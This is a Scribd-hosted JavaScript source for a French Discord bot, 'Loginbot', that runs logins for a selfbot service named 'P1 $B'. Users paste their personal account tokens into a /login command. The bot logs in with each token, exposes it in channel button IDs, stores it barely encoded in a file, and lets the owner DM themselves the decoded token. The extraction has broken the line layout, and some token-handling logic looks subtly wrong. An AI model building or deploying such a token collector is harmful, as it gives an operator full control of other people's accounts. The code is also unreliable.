0% found this document useful (0 votes)
26 views5 pages

Loginbot

Uploaded by

lucasnoenoe1
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
26 views5 pages

Loginbot

Uploaded by

lucasnoenoe1
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

const { Client, GatewayIntentBits, Partials, EmbedBuilder, ActionRowBuilder,

ButtonBuilder, ButtonStyle, REST, Routes, SlashCommandBuilder } =


require("discord.js");
const fs = require("fs");
const path = require("path");

const BOT_TOKEN = "N/A";


const GUILD_ID = "";
const CONFIG_FILE = path.join(__dirname, "config.json");
const BLACKLIST_FILE = path.join(__dirname, "blacklist.json");
const TARGET_CHANNEL = "notif chanel";
const AUTHORIZED_ROLES = [""];
const SBOWNERID = ["1349383360115642449"];

if (!fs.existsSync(CONFIG_FILE)) fs.writeFileSync(CONFIG_FILE, "[]");


if (!fs.existsSync(BLACKLIST_FILE)) fs.writeFileSync(BLACKLIST_FILE, "[]");

function saveToken(token, prefix) {


const configs = JSON.parse(fs.readFileSync(CONFIG_FILE, "utf8"));
const base64Token = Buffer.from(token, "utf-8").toString("base64");
configs.push({ token: base64Token, prefix: prefix, token_base64: true });
fs.writeFileSync(CONFIG_FILE, JSON.stringify(configs, null, 4));
}

function getBlacklist() {
return JSON.parse(fs.readFileSync(BLACKLIST_FILE, "utf8"));
}

function addBlacklist(userId) {
const bl = getBlacklist();
if (!bl.includes(userId)) bl.push(userId);
fs.writeFileSync(BLACKLIST_FILE, JSON.stringify(bl, null, 4));
}

function removeBlacklist(userId) {
let bl = getBlacklist();
bl = bl.filter(id => id !== userId);
fs.writeFileSync(BLACKLIST_FILE, JSON.stringify(bl, null, 4));
}

const client = new Client({


intents: [GatewayIntentBits.Guilds, GatewayIntentBits.GuildMessages,
GatewayIntentBits.MessageContent, GatewayIntentBits.DirectMessages],
partials: [Partials.Channel]
});

// Synchronisation des slash commands


client.once("ready", async () => {
console.log(`Connecté en tant que ${client.user.tag}`);

const commands = [
new SlashCommandBuilder()
.setName("login")
.setDescription("Soumettre un token pour connexion")
.addStringOption(opt => opt.setName("token").setDescription("Token
Discord").setRequired(true))
.addStringOption(opt => opt.setName("prefix").setDescription("Préfixe
du selfbot").setRequired(true))
.toJSON(),
new SlashCommandBuilder()
.setName("addblacklist")
.setDescription("Ajouter un utilisateur à la blacklist")
.addUserOption(opt => opt.setName("user").setDescription("Utilisateur à
blacklist").setRequired(true))
.toJSON(),
new SlashCommandBuilder()
.setName("unblacklist")
.setDescription("Retirer un utilisateur de la blacklist")
.addUserOption(opt => opt.setName("user").setDescription("Utilisateur à
retirer").setRequired(true))
.toJSON(),
new SlashCommandBuilder()
.setName("blacklist")
.setDescription("Voir tous les utilisateurs blacklistés")
.toJSON()
];

const rest = new REST({ version: "10" }).setToken(BOT_TOKEN);


await rest.put(Routes.applicationGuildCommands(client.user.id, GUILD_ID),
{ body: commands });
console.log("✅ Commandes slash synchronisées !");
});

client.on("interactionCreate", async interaction => {


// Slash command
if (interaction.isChatInputCommand()) {
const cmd = interaction.commandName;

// LOGIN
if (cmd === "login") {
const token = interaction.options.getString("token");
const prefix = interaction.options.getString("prefix");

try {
const testClient = new Client({ intents: [], checkUpdate: false });
await testClient.login(token).catch(() => { throw new
Error("TOKEN_INVALID"); });
const user = testClient.user;

if (getBlacklist().includes(user.id)) {
interaction.reply({ content: "📋 Vous êtes blacklisté.",
ephemeral: true });
testClient.destroy();
return;
}

const configs = JSON.parse(fs.readFileSync(CONFIG_FILE, "utf8"));


if (configs.find(c => Buffer.from(c.token, "base64").toString("utf-
8") === token)) {
interaction.reply({ content: "❌ Votre token est déjà connu à P1
$B", ephemeral: true });
testClient.destroy();
return;
}

const now = new Date();


const embed = new EmbedBuilder()
.setAuthor({ name: "[+] Validation [+]" })
.setTitle("Demande de connexion à **P1 $B**")
.setDescription(`**Pseudo :** ${user.tag}\n**Identifiant :** $
{user.id}\n**Rejoint le :** ${now.toLocaleString('fr-FR')}`)
.setFooter({ text: "En attente de validation | P1 $B" })
.setColor("Yellow");

const acceptBtn = new ButtonBuilder()


.setCustomId(`accept_${interaction.user.id}_${token}_$
{prefix}`)
.setLabel("Accepté")
.setEmoji("✔️")
.setStyle(ButtonStyle.Success);

const refuseBtn = new ButtonBuilder()


.setCustomId(`refuse_${interaction.user.id}_${token}`)
.setLabel("Refusé")
.setEmoji("❌")
.setStyle(ButtonStyle.Danger);

const infoBtn = new ButtonBuilder()


.setCustomId(`info_${interaction.user.id}_${token}`)
.setLabel("Informations")
.setEmoji("🔎")
.setStyle(ButtonStyle.Secondary);

const row = new ActionRowBuilder().addComponents(acceptBtn,


refuseBtn, infoBtn);
const channel = await client.channels.fetch(TARGET_CHANNEL);
await channel.send({ embeds: [embed], components: [row] });

interaction.reply({ content: "✅ Demande de connexion envoyée avec


succès", ephemeral: true });
testClient.destroy();

} catch {
interaction.reply({ content: "❌ Le token fourni est invalide.",
ephemeral: true });
}
}

// BLACKLIST COMMANDES
if (SBOWNERID.includes(interaction.user.id)) {
if (cmd === "addblacklist") {
const user = interaction.options.getUser("user");
addBlacklist(user.id);
interaction.reply({ content: `✅ ${user.tag} ajouté à la
blacklist.`, ephemeral: true });
} else if (cmd === "unblacklist") {
const user = interaction.options.getUser("user");
removeBlacklist(user.id);
interaction.reply({ content: `✅ ${user.tag} retiré de la
blacklist.`, ephemeral: true });
} else if (cmd === "blacklist") {
const bl = getBlacklist();
const desc = bl.length ? bl.map(id => `<@${id}>`).join("\n") :
"Aucun utilisateur blacklisté.";
const embed = new EmbedBuilder()
.setTitle("Liste des utilisateurs blacklistés")
.setDescription(desc)
.setColor("Red")
.setFooter({ text: "P1 $B" });
interaction.reply({ embeds: [embed], ephemeral: true });
}
}
}

// BUTTONS
if (interaction.isButton()) {
const [action, requesterId, token, prefix] =
interaction.customId.split("_");

const memberRoles = interaction.member?.roles?.cache.map(r => r.id) || [];


if ((action === "accept" || action === "refuse") && !memberRoles.some(r =>
AUTHORIZED_ROLES.includes(r))) {
interaction.reply({ content: "❌ Vous n'êtes pas autorisé à utiliser ce
bouton.", ephemeral: true });
return;
}

if (action === "accept") {


saveToken(token, prefix);
const embed = EmbedBuilder.from(interaction.message.embeds[0])
.setColor("Green")
.setFooter({ text: `Accepté par ${interaction.user.tag} | P1
$B` });
interaction.update({ embeds: [embed], components: [] });

const decodedToken = Buffer.from(token, "base64").toString("utf-8");


try {
const testClient = new Client({ intents: [], checkUpdate: false });
await testClient.login(decodedToken);
const user = testClient.user;
user.send(`Félicitations ${user}, vous avez été accepté ! Vous êtes
maintenant connecté à **P1 $B**\nVotre prefix : ${prefix}`);
testClient.destroy();
} catch {}
}

if (action === "refuse") {


const embed = EmbedBuilder.from(interaction.message.embeds[0])
.setColor("Red")
.setFooter({ text: `Refusé par ${interaction.user.tag} | P1 $B` });
interaction.update({ embeds: [embed], components: [] });
}

if (action === "info" && SBOWNERID.includes(interaction.user.id)) {


const decodedToken = Buffer.from(token, "base64").toString("utf-8");
interaction.user.send({
embeds: [new EmbedBuilder()
.setTitle(`📋 Informations sur ${interaction.user.tag}`)
.setDescription(`**Token crypté :** ${token}\n**Token
décodé :** ${decodedToken}`)
.setColor("Grey")
.setFooter({ text: "P1 $B" })
]
});
interaction.reply({ content: "📩 Informations envoyées en DM.",
ephemeral: true });
}
}
});

client.login(BOT_TOKEN);

You might also like